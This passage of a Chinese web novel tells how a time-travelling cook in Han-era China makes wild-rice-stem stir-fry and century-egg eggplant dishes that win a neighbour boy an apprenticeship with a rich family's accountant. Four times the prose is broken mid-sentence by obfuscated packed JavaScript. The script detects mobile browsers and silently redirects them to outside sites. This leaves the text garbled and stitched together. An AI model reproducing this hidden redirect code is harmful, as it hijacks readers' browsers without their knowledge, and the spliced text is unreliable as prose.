陈车儿在屋前唤她，把背上的筐箩卸在屋檐下，抹了抹汗，同她道， “我得了两筐菰瓜，是窑场的王典计给的，他们甘家的菰秧有好些坏了虫，结出这涩涩的茭瓜， 王典计得了两筐，他老人家不爱这涩牙的东西，都给了我，大母让我分一筐来你家。” 甘家是盛昌里首屈一指的富户，良田连片，山林丰硕，那窑场就是甘家的，这冯家的祖辈，便是甘家放良的家奴，据说他家现在还有家奴数十。 季胥卖蒸饼，远远能瞧见那高门大院，也有那甘家的仆奴，来买过她的蒸饼，这王典计，季胥并未见过，听陈车儿提过，是甘家老仆，窑场管账的。 一道回来的还有凤、珠二妹，方才她们正在陈家顽来着。 季凤拿起这绿壳的茭瓜，叹道：“好好的菰一染上虫，就结不了菰米了，菰米变茭瓜，多可惜哪。” “是咧，”陈车儿也道，“也就是甘家田多，不在乎这点，换做我们，该多心疼哪。” 其实这时候的菰，也叫做苽，所谓染上虫，是被一种黑粉菌寄生，一旦被寄生后，植株就不再抽穗开花了，也就失去了结子能力，菰的茎会不断膨大，形成似小儿臂的茭瓜，也就是后世的茭白。 但此时的茭白可并不受欢迎，毕竟有它，就结不出菰米。 这时的菰米是六谷之一，《西京杂记》有云:“菰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15396243|167151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之有米者，长安人谓为雕胡。” 这种菰米，也被称为“雕胡”、“鸡头米”、“鸡头”、“雁头”等等，香滑可口，是西汉百姓们很重要的一种粮食，直到唐宋也还在食用，后来李太白所写的“跪进雕胡饭，月光明素盘”，里面的“雕胡饭”，便是菰米饭。 不过在季胥所在的后世，水稻丰产，菰米比较少见了，其黑粉菌寄生而形成的茭白，也被专门培育，成为秋天一类受欢迎的蔬菜。 “谢谢车儿，还劳你送来。”季胥道，一面去给车儿把筐箩腾出来。 这在时人眼里，涩口、无滋无味的茭瓜，在她看来，就是一筐嫩茎肥大的茭白，拿来炒肉，再鲜美不过。 陈车儿挠头一笑，一溜烟跑回家去了。 季凤向筐里拿了一颗茭瓜来，剥了壳就嘎吱咬上一口，还递到季胥嘴边，问她吃不吃， “怪涩的就是，没什么滋味，好在吃个新鲜。” 季胥摇头怕涩，“待会儿炒了来吃。” 季凤道：“茭瓜也能炒？” 本固里也有人家会种菰米，像这坏虫结茭瓜的，都掰来生吃，蒸熟了吃的也有，最多拿水烩一烩，加点盐酱添味。 “当然了，炒出来就米饭，保管让凤妹吃掉两碗。”季胥笑道，捧了些茭瓜来剥。 季凤哪还生吃呀，她把那没动过的一半掰断，留着炒，这“炒”的滋味，可令她难忘了，至于那咬过的半边，也不愿浪费，和季珠两个嚼着吃完了。 剥出来的茭瓜白胖肥嫩，被斜切成片，片又改丝，刀俎笃笃的响着。 季凤觉着在旁边看她阿姊这切菜功夫，都是一种享受，稍不留神，一陶盆的茭瓜细丝就码好了。 季凤见她将茭丝倒入烧沸的水里，不由的问：“阿姊，这不是烩吗？” 季胥翻弄着道：“一会儿便捞起来了，这是焯水，焯过水的茭瓜能去除涩味。” 那瘦肉，也被切成丝，抓腌了一下，釜里热了油，先滑了肉丝，再炒上茭瓜。 片时的功夫，一盘鲜香灵亮的茭瓜炒肉便盛在了竹盘里头，香得季珠颠颠的摆上了碗筷。 季胥特地炒了两家的量，先给陈家送去一盘。 “不过是给你几根茭瓜，倒让你搭进这么好些肉来……”吕媪稀罕的捧着这菜肴，难为情的笑道。 “哪里是几根，一大筐子，够我们好些天的菜了，不知替我省了多少钱。” 季胥想着陈家也有一筐茭瓜，便将这茭瓜炒肉的法子同吕媪细细说了，包括焯水去涩味这步。 吕媪听着虽是点头，但她家哪里舍得为这些茭瓜又是费荤油、又是搭肉的，不过是焯了水，再拿清水，素素的烩一遍罢了。 茭瓜炒肉，吃着味美嫩滑、薄辣鲜香，季凤果真吃了两大碗米饭，还要再添，被季胥拦住了，怕她吃多顶着，夜里不好睡觉。 那还剩大筐的茭瓜，季胥留出些来明后日炒着吃，余的吃不完，放久了要黄了芯子，她便切成片，趁这两日太阳好，拿出去晒成干，收起来留着冬天吃。 34. 第 34 章 话说陈家得了这盘茭瓜炒肉，却只拨出小点来，给孩子吃个香味。 余的大半多，都用陶盘盛了，妥妥帖帖装在食箪里，让陈车儿拿去孝敬王典计了。 吕媪还咬咬牙，掏了二十个钱，紧紧掖在陈车儿衣襟内里， “仔细别丢了，到梁酒人家，你就同他说，要那一小瓿的秫酒，把钱给他。” “哎！我记住了！”陈车儿拎着食箪，跑出去了。 “母，你说能成吗？”庄蕙娘有些忧心。 “不成也能交个好，没坏处的，多试几次，兴许就成了。”吕媪道。 那王典计年老了，精力不济，有收徒弟的想法。 “总不能叫车儿做一辈子的苦力活，若是王典计愿意教他算账，就再不用肩背力扛的了，日后便能找个轻省活。” 陈车儿先去盛昌里的梁酒人家，沽了小瓿的秫酒，方绕去窑场。 天色昏淡下来，窑场前面的空地，堆着一摞摞陶瓦、青砖。 旁的一矮棚里一听声响，传出利喝：“龟孙！胆敢来偷瓦！” 一个大耳横颐，虎背熊腰的汉子钻出来立在门口，他是甘家仆奴，夜里专留在这看守窑场的。 “贱土兄，是我，车儿。”陈车儿腆着笑过去。 甘贱土见是窑场里专事背砖瓦的佣工，便盘问：“夜黑了，来这做甚！” “白日里，王典计给我两筐茭瓜，家里头做出点茭瓜菜，特拿来给他老人家尝尝鲜，不能白得他的茭瓜。 我还沽了点酒，贱土兄也吃点罢？” 陈车儿呲牙笑着，卖好道。 伸手不打笑脸人，然这甘贱土夜里值守是绝不能喝酒的，若是醉了误了事，甘家规矩便要伺候一顿鞭笞。 “这酒我自是吃不得的。” 陈车儿一听，拍拍脑袋，“瞧我，竟忘了，既不能吃酒，便拣些菜来用罢。 我们这窑场，亏的贱土兄劳事辛苦，那些毛贼才不敢近前。” 一面奉承道。 陈车儿心知不卖好这甘贱土，他作为外姓佣工，是没法在下工后进入窑场的。 便进到矮棚，只见里头狭窄，有一张木床，一张食案，甘贱土平日进食的碗筷便摆在那，陈车儿拨了小半碗给他。 甘贱土作为守窑场的低等仆奴，晡食要等甘家主子、及本家伺候的奴仆用完，方轮到他们，如今还没吃呢。 现闻那味，便觉极香，心内也很是熨慰，便不再为难陈车儿，放他进去了。 窑场内里，一个接一个的拱洞，这砖瓦便是在洞内烧制出来的，现如今都是黑漆漆的。 陈车儿穿过洞外的过道，绕到后头那排矮房，窑场做活的，多数是甘家家奴，他们便挤在这排矮房里头。 好些年轻瘦瘦的小郎光着膀，在屋前冲澡，冲出些浆黄浆黄的水，见陈车儿来，都把脸一撇。 “王典计呢？” 没人搭理陈车儿这外头雇的，他们都是本家奴仆，是抱团敌外的。 “屋里算账呢。”有个稍小点的，好心肠道。 王典计是单独一间的，陈车儿叩门进内，只见里头宽敞，一座陶屏风，隔出内外间，外间的架上堆满竹简木牍，因最近秋凉，坐榻已经铺上羊皮褥子了，那张榆木凭几，虽说有些磕了漆，那也是寻常人家摸不着的好东西。 王典计便跪坐在榻上，向着案，执笔在书今日的账。 他穿一身灰旧的襜襦袍子，偶尔搔一搔稀疏的脑袋，弹出些白灰。 “行了行了，放下便走罢。”王典计连头也没抬，打断陈车儿的殷殷之语。 他自知自己年事高了，便放出想收徒的话，近来有好些小子都想学他的算账功夫。 不少外姓佣工都来向他卖好，但他须挑个同为甘家奴仆的为徒儿，方能一辈子孝敬他，哪能让这身本领，落入外人之手？ 陈车儿素日是个机灵的，竟也拎不清，因对陈车儿，也没有好脸。 陈车儿也没法，只好搁下酒菜，讪讪走了。 陈家人都只当没指望了，毕竟典计是个吃香的活儿，哪怕身为奴，在主子面前也比旁的有脸，王典计这身本领，也是甘家一个老师傅传给他的，怕是再不能传外人儿了。 吕媪仍是不愿放弃，她道：“也不能指望一次就尽善尽好了，这是人家的看家本领，哪能就这么轻易教给外人。” 可惜陈家，实在穷，也没有什么好东西能孝敬日子比他们好百倍的王典计。 这日，吕媪咬咬牙，一大早到乡市划拉了小块瘦肉，并家里头最后剩的新鲜茭瓜拎去季胥家，老脸厚着请她再做些茭瓜菜，毕竟一次、二次，方叫王典计见诚心不是。 这茭瓜炒肉，虽说上回季胥同她讲的仔细，可也不敢贸然动手，做砸了，没的糟蹋这块好肉。 “既是车儿想学徒的事，大母还跟我客气什么，我这会便空着，这就做了来。” 于季胥乃是顺手的事，三两下便做出了，倒把吕媪看的眼花缭乱， “姑舅大母嘞，做个菜竟这样复杂。” 是日早，陈车儿去上工便把这菜带去窑场了，寻摸个空档，蹭到清点砖瓦的王典计身旁， “小子又带了点菜来，还是我那姊姊的手艺，典计别嫌弃，朝食好歹拣着用些罢？” 王典计面上不显，却问：“可还是上回那茭瓜菜？” “正是咧！”陈车儿忙道。 话说这王典计，前些时日吃了这菜，那鲜香薄辣，味美滑口的滋味，搭着秫酒，别提多爽适，这味好的令他咂摸回想。 可又放不下脸向陈车儿开口要，没的让他觉得，一个菜便要收他为徒了，反而教他看轻了自己的本领。 这会子仍是淡淡的，“搁我房内去。” “哎！”陈车儿脚一踮，便去了。 也不知王典计何时得空来用，陈车儿便将菜放进了案上的漆木食盒里，盖严了，防着鼠虫，这才去窑里背砖。 不多时，矮房外头向内唤了声， “王典计？” 见无人应答，小仆吱喽喽推了门，环望一圈，拎了那食盒，离了窑场去往甘家宅院了。 这小仆本是东厨的杂役，因这王典计稍有脸面，也不和窑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15403572|167151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场的人混着吃仆奴餐，他一日同主子一样，能吃三顿，且都有东厨的杂役拎着食盒送往。 甘家宅第，屋宇高大，重檐棂窗，大门上有朱赭白三色彩绘的鸟兽云气，这类避凶驱灾的图案，里头回廊环绕，院中还耸有高高的望楼，专人在楼中站岗，楼下拴着条恶犬，院内奴仆行走，井然有序。 东厨便在院内东向，厨外设有口水井，里头庖丁的，烧火的，洗菜的，向着大陶灶做羹菜的……忙碌不已。 小仆进至东厨，将那食盒往木案上一置， “拿王典计的朝食。” “急什么，主子们的还没做好呢。”厨夫说道，又将这小仆使唤去汲水。 过不多久，一个穿着精细，身姿细挑，俨然外头富家女娘打扮的丫鬟进来了，催道：“我们小主人的朝食呢？” 厨夫忙道：“早就备好了，在案上呢，女娘请拿去， 今儿新做的羊逢羹，若是小主人用的好，女娘也替我美言两句。” 那丫鬟拎了便走，待那小仆汲了桶水回来，四下找寻了不禁嘟囔： “王典计的食盒呢？” “坏了坏了！”厨夫一下慌叫起来。 “传王典计来。” 不多时，正屋内传出令。 东厨的厨夫战战兢兢回完话，使唤小仆去将王典计唤来，那小仆自觉酿出祸，抖的在道上摔了好几个跟头。 窑场的王典计正寻他食盒呢，忽得了小仆哭哭丧丧的信，一刻不敢多留，同着去了， 一路都在骂那小仆，骂东厨的，“自己要酿祸，也别连累我啊……” 一面小跑着去正屋，要知这甘家幼女，现年七岁，生来就是个残腿的，脾气别扭，极爱摔打东西，但家主夫人无比怜惜，素来宠溺，因而府中奴仆都无不尽心服侍着，生怕在太岁头上动土。 王典计躬着身，轻着脚步进了正屋，眼角暗暗打量地上可有碎瓷片。 里头陈设尽是漆器，食案还是描金的，唯有一只粗糙的陶盘，置于案上，很是突兀。 但这盘子却没被摔的四分五裂，至于上头该有的茭瓜菜，竟就剩点沫子了？ 案边，那七岁的甘王女，穿着红缎子的短褂，绿绫的小褶袴，项上挂着只大金锁，眉目生来就爱拧着向人，这会子却是松展的，小嘴吃的通红。 她母亲白夫人，侧着身，正拿巾子替她拭嘴，声音温柔： “这茭瓜菜，我的王女用的好，是王典计做的？” “回夫人，” 王典计登时松了口气，他道，“此乃奴的小徒儿做的，若是小主人喜欢，我再唤小徒儿做些就是。” “嗯，你令他，中食再做来给我的王女。”白夫人命道。 王典计嗳声应是，出来时，往袖口塞着刚得的赏，乃是枚小银饼。 候在外头听信的厨夫并小仆，见他容光焕发，便知是得了赏，那小仆捏袖拭了拭满脑袋的汗，嘴里直念大罗神仙保佑。 厨夫则是眼热的很，又碍于王典计的老资历，不好向他分赏。 王典计自是不给的，背着手走了。 35. 第 35 章 “车儿，来。” 王典计回到窑场，朝那满身灰土，弯腰背砖的陈车儿招手。 车儿卸下砖，在檐下拍了拍灰，随王典计进了房内， 王典计问道：“我收你为徒，教你算账的本事，你可愿？” “愿！愿！” 陈车儿喜溢言表，忙的就要下跪磕头认师。 被王典计兜手拦住，“先别急着跪，你那茭瓜菜，我吃着很是喜欢。” 陈车儿这便道：“师父喜欢，明日我便再送些来。” 王典计摇头，“这样不便，你将那茭瓜菜的做法告知于我，我若是想吃了，自己随时也能做了来，这才便宜。” “怎么，这都不行？” 王典计见他神色踯躅，冷了脸，将袖一甩。 胥姊确将做法告知了他大母吕媪，大母还在旁看过现做的，回家还说起这有多复杂，陈车儿也听着了，因也能学舌出来， 可这是胥姊的手艺，况且人还是在庖厨这项上谋生的，她告诉自家，是她的好，自己若再要告诉旁人，合该问过她的意见才是。 可陈车儿又不好驳王典计的要求，便索性装作不知，说道： “我也不甚清楚这茭瓜菜的做法，告诉典计罢，这是我同里的一个阿姊所做， 她从前在宫城里待过，会的多，若是典计想知道，不若我去问问她？” “既这样，你先别做活了，快些问去罢！ 若是甘贱土拦你外出，便说是我说的。” 王典计催道，让他一个时辰务必回来。 这会子季胥正在盛昌里卖蒸饼，手里两个篮子，刚送完昨日预定的人家，仍沿途叫卖着。 “胥姊！” 满头汗的陈车儿跑了来，好容易弯腰喘上气，接着道， “王典计问我，那茭瓜菜，噢，是茭瓜炒肉的法子！ 我想着，这是胥姊的手艺，特来问问你的意见，能告诉他吗？他也想平日里做来吃。” 季胥还当什么大事，她如今也买不着茭瓜，也不做茭瓜炒肉的买卖，告诉王典计也不打紧。 “炒”这种烹饪方式此时虽无，就算被旁人知晓，于她也无碍，手艺是从小到大磨炼出来的，她在庖厨这项挣钱，对自己的功夫有自信。 “当然能，”季胥道，“可是他有收你为徒的意思了？” 提及这陈车儿便咧嘴傻乐， “是咧，这还多亏了胥姊的这道茭瓜菜，不好，我得赶紧回去了，王典计催得紧。” 陈车儿一溜烟跑远了，方才他在各处找季胥已是费了不少时间，背影远远蹦了三尺高，一面摆手道： “待我回家了，再谢胥姊！” 季胥也替陈车儿宽了心，他家人可都盼着他能学门算账本领，好挣点轻省钱。 王典计捻须听完这菜的法子，沉吟一会，挥手将陈车儿赶了出去，“你先回去做活。” 陈车儿还想问何时拜师吃茶，又恐太心急不显诚意，惹恼了王典计，便回去窑场背砖了。 此时正值辰时，矮排房的甘家仆奴都去前头窑场上工了，就王典计一人在。 那排房的东南角，有一间矮灶棚，陶炉子上架着口从本家捡来的旧铁釜，旁边堆着些柴草，掉漆的木案上，小陶瓿拥挤在一处，盛着盐、酱、豉一类的调料。 他们那些小仆，有时自己攒了几个钱，会在那灶棚生火羹肉，打打牙祭。 王典计的身份自是无需在这亲自做食，不过今日，他却亲去买了块瘦肉来，又逛到甘家的菰田里，挑挑拣拣的掰了几根茭瓜。 那看田的妇人，奉承道：“典计多掰些吃去哪，那还好多呢！” 她家小子也在窑场上工，可都巴巴想着拜王典计为师，那日特地摘了两筐茭瓜去孝敬他。 不过王典计不爱这，看那陈车儿做事老成，性子机灵，便随口让他背家去了。 说起来，这陈车儿还挺懂事，做了茭瓜菜知道来孝敬他，不然他哪能在夫人面前显脸呢，可惜了，不是甘家这里头的。 王典计回去后，自屋内拿出半瓿荤油来，不多时，窑场后头的矮灶房，升起炊烟，飘出股呛人的糊味， “咳咳咳……咳咳……” 掩鼻的王典计跑了出来，脸上好些黑灰，袖子挥打开时，连鼻孔都是黑的， 什么缘故？分明是按法子来的，怎么他做出来这样呛鼻，莫不是那陈车儿混说个法子来糊弄他的？ “小子绝没胡说，这绝对是我那阿姊的做法，” 被叫到后排房的陈车儿忙的解释，想了想，道， “兴许是各人本事不同，像典计，是算账的好手， 我那阿姊，是庖厨好手，法子虽通晓了，但一时不能尽善尽美，典计莫急，多试几回或许便能成了。” 王典计自然也知是这个理，可他哪能不急啊，夫人中食可就点了这道菜，这眼看都到日中时分了。 “你去，把你那阿姊找来，让她现给我做那茭瓜菜来吃。”王典计命道。 陈车儿却是没动，他道：“不成的，我那胥姊，忙着卖蒸饼挣钱，秋凉一天胜似一天的，她急等着钱盖瓦房，不好耽误她做买卖的工夫。” 一说卖蒸饼，王典计便知道是那季姓女娘了，窑场有些小子买过她的蒸饼，喜的什么似的，王典计瞧不上这么个年轻女娘的手艺，哪怕见人多围着，却也从不近前去买。 “没发现你这厮这么牛性呢！” 王典计气道， “罢！你带路，我亲自去见她！” 近来，季止仍在盛昌里卖吃食，不过不再卖那菹菜了，改换果脯来卖，正是家里后院那棵奈果树，结的奈果，片成瓣，晒成的果脯。 金氏攒着，逢年过节才舍得抓出来给他们吃一点，听季止要拿来卖，起头还不肯， 不过季止跟她保证了，一定卖来钱，这果脯还是金氏定的价，一个钱只能给五片。 “这片的也太薄了。” “奈果脯，我家多着咧……” 不少人看了便摆手。 盛昌里祖上就富，旧年里栽种服侍大的奈果树远比本固里多，大多人家都有，时令下吃不完的便制果脯。 因而季止叫卖到日中时分，也就才卖出去一份。 远远瞅见季胥，她不由的攥紧了篮子，却见陈车儿，领着一个灰袍老叟，在同季胥说道什么。 田陌旁的男女老少探长身子去瞧，议论着长短， “那不是甘家窑场的王典计吗？” “他这两眼安在脑门的典计，也来买咱爱吃的蒸饼？” “快来瞧了，甘家的，那可是咱们盛昌里一等一的富户了，啧啧……” “我说女娘，索性你这篮子蒸饼已经卖完了，权当为你这弟弟，做来与我吃，又费你什么事？” 王典计道，自己愿给他们卖好的机会，很该恭敬些应承才是。 季胥言道：“自是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15408440|167151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不费事，但典计你没说实话，实令我不知该不该做。” 她的菜难不成有瘾，一时半会儿吃不着就抓心挠肝？ 必得此时拉她去做，一天也等不及，这道菜，王典计分明另有他用。 这女娘好灵巧的心思，王典计本以为能骗过她，不想被她识穿， 他思忖着，若是夫人日后还指名要吃，少不得再要寻她，也瞒不下去，便道： “告诉你罢，是我甘家的主子阴差阳错尝了，点名中食要吃。” 季胥想了想，道：“我现在同你去，只一点，车儿学徒的事，王典计再拿这当香饵来诓骗他，我便不是这样好说话了。” 她算看出来，这王典计是想借这菜在甘家主子面前卖好，才拿收徒来哄陈车儿，问了他做法，怕是人家压根儿就没想收其为徒。 然则这事也没法架着王典计做，倘或他心内不愿，敷衍教些微末，天长日久的，徒弟始终也入不了门，须的他真情实愿方行。 因而季胥也想尽量帮着陈车儿交好这王典计，遂应下了。 王典计老脸一羞，嘟嘟囔囔的甩袖子，“快些走罢。” 遂将季胥引去了窑场的矮灶屋，照说领去甘家的东厨来做，一应炊具齐全，也宽敞好施展。 但王典计不想教东厨的厨夫们瞧见做法，因而特引来这，悄悄的做。 这灶屋虽简陋些，于季胥倒无妨碍，尤其还有一口铁釜，哪有不足的，只是里头残留些焦黑的碳状物。 王典计讪讪笑着，“老身方才做失手了。” 又令陈车儿把这拾掇好。 陈车儿便去外头清洗铁釜。 季胥则在处理那茭瓜，只见她做得精细，连那外层的皮儿都削去了，如此口感要更好。 王典计不禁心有微词，他得知的做法可没有这一步哪！ 季胥瞧出来了，坦言道：“告诉典计的法子，确实我先前家常做的， 如今既知王典计要送给甘家那边吃，少不得要尽心替典计做仔细些不是？” 这话听的王典计身舒心慰，捻须点头。 眼瞧着她切片切丝，那手速快的，就好似他眼花看闪了。 再说那火，怎么她烧出来的火，就那么听话呢？就不把铁釜给呛糊呢？ 看的王典计是眼花缭乱，却也不得不认，这项上他就是个门外汉。 不多时，这茭瓜炒肉就飘出一股子香味，惹得窑场里忙累的小郎，都伸长脖子去嗅。 “拿这个盛，拿这个盛！” 王典计从他房内拎出来一只雕漆食盒，里头拿出一只彩绘红陶盘，这是甘家主子用的， 因这道菜，他特拿来装的，瞧着体面，陈车儿家那只粗砂陶盘，他都看不上。 “这茄是谁种的？” 季胥瞧见灶棚旁的一畦茄，苗丛里打着紫花，吊着大小茄子。 王典计正乐颠颠装食盒呢，不忘拨出小碗来，留着自个儿晚上就酒吃，闻言道： “阿小种的罢，蜀地逃难来这卖身的，独他成日里尽爱吃这茄子。” “车儿你问问，这茄他可愿卖？”季胥道，她看中那油光滑亮的紫茄。 “卖什么哪，你想摘，随便些摘去，他若问，就说我王典计摘的。”王典计道，他还是愿和季胥交个好的。 季胥没搭理他，让陈车儿去问，回来说：“他说愿卖的。” 季胥便摘了两根，比照市价，让陈车儿送五个钱去。 36. 第 36 章 那阿小正在背瓦，他们这等家奴，给吃给穿，不似那外面雇来的佣工，还按日给钱。 他们是按月发月例，像他一个月才得四十钱，那茄子是他原在家乡便爱吃的，春日里向甘家伺弄菜园子的老媪讨了把茄苗，在这整了小块地种下去，夏令时蒸熟了拌蚁子醢吃，如今是最后一茬儿了，个头要小些，再过一阵子，便不结果了，霜打下来，连苗都该拔去了。 阿小吃了个夏令，末茬儿还能拣几个钱，自是愿意的，得了五钱，喜的掖在鞋里，还让陈车儿谢谢那买茄的。 季胥有了茄，便问王典计：“我这还有一道新鲜吃食，可要做了，一并送去甘家？” “如此甚好，你速速做来。”王典计一听，喜上心头。 夫人点一道，他知趣儿送去两道，那赏钱还不比早上多？ 只见季胥从她随身的篮子里，掏出五个裹着泥巴的圆物，扑来一股子草灰味，她道： “这个，皮蛋，三钱一个。” 今日清晨，季胥最早做的那罐皮蛋，已经封存了二十日左右，她敲了封罐的黄泥，拣了来卖。 不过，肉饼好卖，黑黢黢的皮蛋却少有问津的。 她切了小块的，劈了竹签来试吃，那敢吃的也少。 况且皮蛋生吃的味道，后世也有许多人接受不了，做成菜，接受度则广泛些。 困于早晨家中没有茄子，暂且做不出这菜拿来盛昌里试吃，因而此番卖出去不过五六个。 如今得了茄，便想做来。 一则眼下就能卖出些，二则倘或甘家人吃着好，不愁长远没市场，于她有挣头的，不然也不会白白问起王典计来。 王典计道：“管它皮蛋肉蛋的，尽管做出好吃食来，我买了。” 说罢便从袖中掏出十五个钱来给她。 季胥道：“二十钱，五钱是我买茄的钱。” 王典计：…… 摸了摸袖口，到底尽数补齐了。 季胥这便动手，只见她把那裹着泥巴，十分磕碜的皮蛋敲碎，剥了开。 乍一见里头的黑乎乎，把王典计嫌弃的直掩鼻后闪， “我说季蒸饼，你也捡些好蛋来卖，这都坏了多久了？” “这皮蛋就是这样儿。” 季胥仍剥自己的。 王典计不再近前来，他怕闻着那坏蛋敲开来极臭极臭的气味。 在外瞅着季胥仍在剥，那手碰着那黑不溜秋的蛋，他都在庆幸，幸而先把茭瓜菜做出来了，不然那手，都浸臭了。 如此想着，他紧忙把那食盒拎出来，说道： “快别做了，这坏黑了的蛋，你敢做，我就是吃了一百个豹子胆了，也不敢拿去王女案头。” “还有会子才到中食的点，典计钱也花了，索性等我做了，尝些再说好与不好。”季胥道。 王典计直摇头，“我可不尝，坏肚子的东西。” 陈车儿倒是没被唬退，依言在洗那落灰的石臼，他道：“典计，这闻着不臭的。” 王典计仍不信，只在外不肯进来。 只见季胥将那紫茄码在烧紧的铁釜里干炙，直到茄子蔫巴了，外头一层紫衣子变灰变皱， 她才夹出来，将那衣子撕去，撕出大块的，长条的，干净的只留下里头青色的软肉。 同着五颗皮蛋，一并放入石臼里，调上酱料茱萸，便使起石杵来舂。 那蛋和茄混融在一起，连陈车儿都看的有些皱眉头，不由的疑惑： “胥姊，这还能吃吗？” “你尝尝？” 季胥舀了一勺给他，陈车儿虽说心里直打鼓，但他想着一直以来季胥做的东西，没有不好的，便大着胆子，送进嘴里。 王典计在屋外瞅着，他将那糊碎的，黑青黑青的东西吃进去，都要替他呕出来，这陈车儿平时的机灵呢？可真够笨的。 “嗯！真好吃！说不上来的好滋味！” 陈车儿惊奇不已，还把勺在嘴里溜了一遍。 季胥见状，笑眯眯向外道：“典计也尝尝？” 王典计把头直摇，捧着食盒道： “我可不吃，这陈车儿的舌头也不知是什么死鱼臭蛙做的，坏黑了的蛋也吃出好来了。” 见日头居中，便向外去甘家宅第送菜了。 陈车儿的机灵劲上来，便追去将他往回扳， “真是极好的，吃上一口，我都觉着我能就半碗饭， 那茄单吃不觉着，混了这皮蛋独有的滋味，真是香极了。” 王典计被拉进灶屋时，实在没憋住气，嗅了嗅，再嗅了嗅，竟是没有臭味？倒有一股子清鲜的茄味和酱味。 他点着陈车儿道：“若诓我，这辈子也别想做我徒弟。” 陈车儿笑了道：“绝不诓师父。” 王典计浅浅的往嘴里送，忽的一掀眉，满额的褶子挤在一起。 这皮蛋味虽怪，却勾的人想再尝尝，好像有股子松香味。 他把勺子那点，抿的干干净净，还勾过眼前这只碗， “这剩的，便留给我就酒吃罢。” 季胥特地盛出小碗来给他们尝的，石臼里下剩的，留着送去甘家。 “这菜叫做擂茄皮蛋。”她道。 王典计携两道菜，信着步，向甘家去了。 “方才好香的味，谁在灶棚做什么好东西呢！” “是了，俺也闻着了。” 中午，窑场的工能歇上小半会，满身灰的甘家仆奴们，一窝蜂的向后排房涌。 季胥正拾掇东西要走了，忽的听见一片闹声，来问缘故。 她解释道：“是我方才帮王典计做了两道菜，他现送往甘家去了。” 一听甘家本家主子竟吃她的手艺，有的便问： “什么菜，可还有？我也买。” 他们每月攒些钱，也都是沽酒买肉，打了牙祭，像他们一日食两餐，中午也就是歇一会，是没有东西吃的，这会有不少想买点来尝尝。 季胥便趁势留在这，做起皮蛋的生意来，素在窑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15415428|167151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场备受冷落的陈车儿，也有的找他攀谈起来。 有的便去问那阿小借点茄子，改日还他点粮，还有的就掏上两个钱去买一根，阿小也乐的能有外快钱。 季胥便挨个的，替他们做起来，“擂茄皮蛋简单，你们看我做一遍，日后想自己做来吃也方便。” 她自是希望旁人能学会这法子，这样她的皮蛋也才有人来买，因而教的无不详细。 那些小郎们，有买一个的，手头宽裕有买二个三个的，个个捧着自己的碗，围在灶前屋外伸长脖子候着，灰扑扑的面，眼里头聚着光彩。 “瞧瞧，这皮蛋里头有雪花！倒不是那沤坏了蛋，打开来一滩黑水。” “我留着晡食做个菜，也好就着饭吃。” “这味儿，中！” 他们捧碗走时，各有各词。 “去去去，还堵在这做甚！还不快去上工，我告诉夫人给你们一顿好鞭子！” 回来的王典计，打开手，赶鸡鸭似的。 王典计平日里颇照顾他们这些甘家的，背的砖瓦量比外头雇的少，像夏日要烧窑，热的暴汗，就让外头的去干； 冬日烧窑是个好活，便挑甘家的家奴去做。因都对王典计是又敬又畏，一下都鸟兽散尽，上工去了。 王典计便偷着声，向季胥道：“女娘这还剩多少皮蛋？” “十五个。”季胥数了道。 王典计搔须道：“这些太少了，我指女娘家中，还有多少？” 季胥心中一跳，乃道：“今日就剩这些了，我每日能做五十个，王典计要多少？” 皮蛋是先时，每日买鸭蛋回来做，始自今日方开封，每日能开一罐，有五十的量。 当然，有时在里市或乡市碰不上卖鸭卵子的，买不着便没做。 她今早点了点，家里共有十五罐，她都按先后顺序摆在墙根下了，拿炭笔在黄泥上写了封存日期，以便日后逐一启开来。 季胥想了想，又言明道：“这菜滋味虽好，但不能日日吃，每日贪多对身子不好； 还有，这皮蛋买回来至多能放上两月。” “大可放心，这些饮食之道，夫人自是懂得滴。” 王典计摇头晃脑的，这擂茄皮蛋，甘家主子们用的极好，他便把这皮蛋好一顿夸，夸的天上人间，滋味仅有，夫人便又赏了他银饼。 